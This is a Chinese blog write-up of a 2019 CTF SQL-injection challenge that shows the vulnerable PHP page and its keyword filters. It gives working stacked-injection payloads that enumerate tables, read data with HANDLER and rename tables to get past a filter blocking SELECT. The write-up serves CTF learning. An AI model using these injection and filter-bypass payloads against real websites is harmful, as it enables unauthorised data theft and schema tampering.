随便注【强网杯2019】

2024-04-01 12:12
文章标签 2019 强网杯 随便

本文主要是介绍随便注【强网杯2019】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

大佬的完整wp:buuctf-web-[强网杯 2019]随便注-wp_取材于某次真实环境渗透,只说一句话:开发和安全缺一不可-CSDN博客

知识点:

  • 单引号字符型绕过
  • 堆叠注入
    • 可以执行多条语句
    • multi_query():该函数可能引发堆叠注入
  • handler用法
    • mysql专属,可替代select部分功能
    • handler 表名 open;handler 表名 read next;handler 表名 close;
    • 和文件操作类似,先打开一个表,读取表内容(一条记录),关闭表
    • # 打开一个表名为 tbl_name 的表的句柄
      HANDLER tbl_name OPEN [ [AS] alias]# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
      HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ]# 2、通过索引查看表
      # FIRST: 获取第一行(索引最小的一行)
      # NEXT: 获取下一行
      # PREV: 获取上一行
      # LAST: 获取最后一行(索引最大的一行)
      HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ]# 3、不通过索引查看表
      # READ FIRST: 获取句柄的第一行
      # READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
      # 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
      HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]# 关闭已打开的句柄
      HANDLER tbl_name CLOSE
      
  • strstr函数对大小写不敏感;可以利用大小写绕过
  • 数据库相关知识
    • show databases;
    • show tables;
    • show tables from 数据库名;
    • show columns from 表名;
    • desc 表名;
  • 这道题中的表名必须用 反引号进行包裹;如`words` `123456`;要不然不识别
  • 解题方法
    • 方法1:handler代替select绕过
      • 使用handler函数进行操作;这里是bp抓包中的payload,所有空格都用+代替了,而且相关特殊符号也用url编码了
        • payload:inject=1'+;handler+`1919810931114514`+open;handler+`1919810931114514`+read+next;%23
    • 方法2:表名操作绕过
      • 通过修改表名和字段名进行绕过
        • 先把表名和字段名修改为界面能显示的字段数据,然后再让界面输出所有数据
          • ​​​​​​​​​payload:inject=1';+alter+table+words+rename+to+words1;alter+table+`1919810931114514`+rename+to+words;alter+table+words+change+flag+id+varchar(50);%23
          • payload:inject=1'+or+1=1%23
    • 方法3:预编译绕过(这种方法没做
      • 直接定义一条语句给变量,然后执行该变量
      • strstr函数不能区分大小写,利用大小写绕过set prepare等关键字检测
      • 流程
        • set用于设置变量名和值
          prepare用于预备一个语句,并赋予名称,以后可以引用该语句
          execute执行语句
          deallocate prepare用来释放掉预处理的语句
          

源码如下:(本题无提示,源码自己找的)

<html><head><meta charset="UTF-8"><title>easy_sql</title>
</head><body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">姿势: <input type="text" name="inject" value="1"><input type="submit">
</form><pre>
<?php
function waf1($inject) {preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {$id = $_GET['inject'];waf1($id);waf2($id);$mysqli = new mysqli("127.0.0.1","root","root","supersqli");//多条sql语句$sql = "select * from `words` where id = '$id';";$res = $mysqli->multi_query($sql);if ($res){//使用multi_query()执行一条或多条sql语句do{if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果while ($row = $rs->fetch_row()){var_dump($row);echo "<br>";}$rs->Close(); //关闭结果集if ($mysqli->more_results()){  //判断是否还有更多结果集echo "<hr>";}}}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值} else {echo "error ".$mysqli->errno." : ".$mysqli->error;}$mysqli->close();  //关闭数据库连接
}
?>
</pre></body></html>

通过观察源码发现有两层waf

前戏就不演示了,通过不断的测试发现这里存在堆叠注入,而且还有waf过滤,最关键的是把select和英文句号给过滤了,而且提示内容给出了waf1的信息,到这里我就蒙了,这怎么搞呀,最多能看一下表名和字段名,想使用outfile写入文件发现英文句号被过滤了,彻底把我难住了;看了一下大佬的wp才发现了新大陆,大佬的wp放到开头了

这里是单引号的字符型绕过

通过堆叠执行的前置命令:

  • 开始通过执行下面的命令获取到了关键的表名和字段名,flag就在数字表名中
  • 表名一定要加``符号(反引号);不然不识别;我就是这里被卡死了
  • 1';show+databases;--+
  • 1';show+tables;--+
  • 1';show+columns+from+`1919810931114514`;--+
    • 或者1';desc+`1919810931114514`;--+
  • 1';desc+`words`;--+
  • 1'+order+by+2--+
    • 1'+order+by+3--+

直接上关键节点:

方法1:

handler绕过:

payload:inject=1'+;handler+`1919810931114514`+open;handler+`1919810931114514`+read+next;%23

方法2:

修改表名和字段名绕过

payload:inject=1';+alter+table+words+rename+to+words1;alter+table+`1919810931114514`+rename+to+words;alter+table+words+change+flag+id+varchar(50);%23

payload:inject=1'+or+1=1%23

方法3这里就不演示了,每种方法都得重启一遍靶场,可以直接看开头大佬的wp,写的很详细;

我这里主要是记一下sql注入的知识点,一些离奇的绕过方法

10

这篇关于随便注【强网杯2019】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/867132

相关文章

我的2019年工作总结及对未来1年的计划和期许

最近一直在忙,不过今天手上的2个项目目前都在修改bug中了。等修改好了,估计明天又同时进行复测了。 刚刚公司群里发布了2019年度工作总结和考核评优工作的通知,和去年一样,每个人需要提交一份个人总结PPT。然后我看了我去年的写的总结和期望,不足和成就。有了些感触,也忙里偷闲整理了半天今年的工作内容。这里具体的项目名称就不透露了。 整体来说: 1、独立测试3个项目/产品的测试工作。 2、客户

Telegram 桌面端 Visual Studio 2019 编译 tdesktop 指南

编译该项目起初耗时 1 天半(1 个通宵 + 2 个白天),结果还失败了。 然后时隔 3 个月,又尝试重新编译,耗时 1 个白天,编译成功。 坑还是有(fei)点(chang)多的。 不多说了,进入正题。   1、准备环境 由于此开源项目较大,编译容易出错,一些第三方软件可能与您已安装的版本相冲突。 所以强烈建议在虚拟机中编译该项目,并保存多个时间点快照。 环境要求:16G 或以上

[第五空间2019 决赛]PWN5

参考文章: 格式化字符串漏洞原理及其利用(附带pwn例题讲解)_格式化字符串攻击教程-CSDN博客 格式化字符串漏洞原理详解_静态编译 格式化'字符串漏洞-CSDN博客 BUU pwn [第五空间2019 决赛]PWN5 //格式化字符串漏洞 - Nemuzuki - 博客园 (cnblogs.com) 栈溢出保护(cannary) 数据溢出保护(NX) 运行一下看看

【Rust日报】 2019-04-06

Arenas vs. Indices:為型別寫函數要寫在型別裡還是外面? 作者舉了一些例子 下面簡單說明他討論的這個問題 他想為MVPArena寫一個add的函數 那把add這個函數從 impl MVPArena 移到外面 那首先就要解決生命週期的問題 struct MVPArena<T>(Vec<T>);impl<T> MVPArena<T> {fn add(&mut self, T valu

【Rust日报】 2019-04-05

「系列文章」审阅Sled源码 Part I #CodeReview #sled Sled项目是一个用Rust编写的嵌入式数据库。该文作者在日程工作中用到了它,为了掌握它的工作原理,准备开始写这个系列的博客。也可以通过学习此文,掌握一些阅读开源项目源码的技巧或其他启示,比如: 先找你擅长领域的项目去阅读,事半功倍。从整体上先把握代码组织结构、依赖库,从所获得的信息中去推测更多信息。携带某个主要的问

【Rust日报】 2019-04-04

成功故事:Rust在企业领域的应用 #zalando 本文描述了zalando公司从Scala转向Rust的成功故事。 缘起: 2016年该文作者作为Scala开发者加入了Zalando公司。半年后,他们打算开始做一个新的应用,与此同时,团队内商量该使用什么新技术,Rust就在这时被提及,同时他们也用Rust快速实现了原型,但是最后这个新应用被取消了。但Rust却成为了该团队的一门候选语言。 碰

【Rust日报】 2019-04-02

愚人节 RFCs 提议整个Rust项目由bors机器人管理。 https://github.com/rust-lang/rfcs/pull/2671 提议将Cow来默认导出 (这个我真信了) https://github.com/rust-lang/rfcs/pull/2672 信了你就瓜了。:) 台湾 COSCUP 開源人年會 COSCUP 2019 - Aug 17th-18th. NTUS

【Rust日报】 2019-04-01

Rust算法俱乐部 #algo 台湾同胞搞的Rust学习算法的教程 rust-algo.club cnx:用Rust实现的X11状态栏 #x11 cnx rustsim 报告 #5 #rustsim 简要: alga 0.9 和 nalgebra 0.18开始支持复数并且与#[no-std]保持兼容nalgebra开始在几何代数上添加对三角函数和卷积的支持等等。 Read More Rus

【Rust日报】 2019-03-31

Rust日报小组成立 从下周开始将由ChaosBot、Mike和Damody三位轮流发布日报,其中Damody为台湾同胞,如果大家看到中文繁体日报,就是他发布的。 发日报有什么好处?我来给大家透露一下。至少有三点好处: 了解Rust生态最新动态锻炼自己的总结能力。对于感兴趣的文章,可以快速汲取其主要观点。为自己的提升和学习铺垫了资料库。 所以,也欢迎大家参与Rust日报的内容建设中。 Ocyp

【Rust日报】 2019-03-30

使用rust與tensor來做臉部辨識 Read more Ocypod: 一個用Redis來備份的工作佇列 基於actix來實作,目前看起來功能還沒有 beanstalkd 之類的老牌 job queue 完整 不過效能應該是可以期待的,使用json來溝通 如果之後能直接支援 protobuff 就好了 畢竟json比protobuff慢多了 Read more sgx sdk 1.0了 In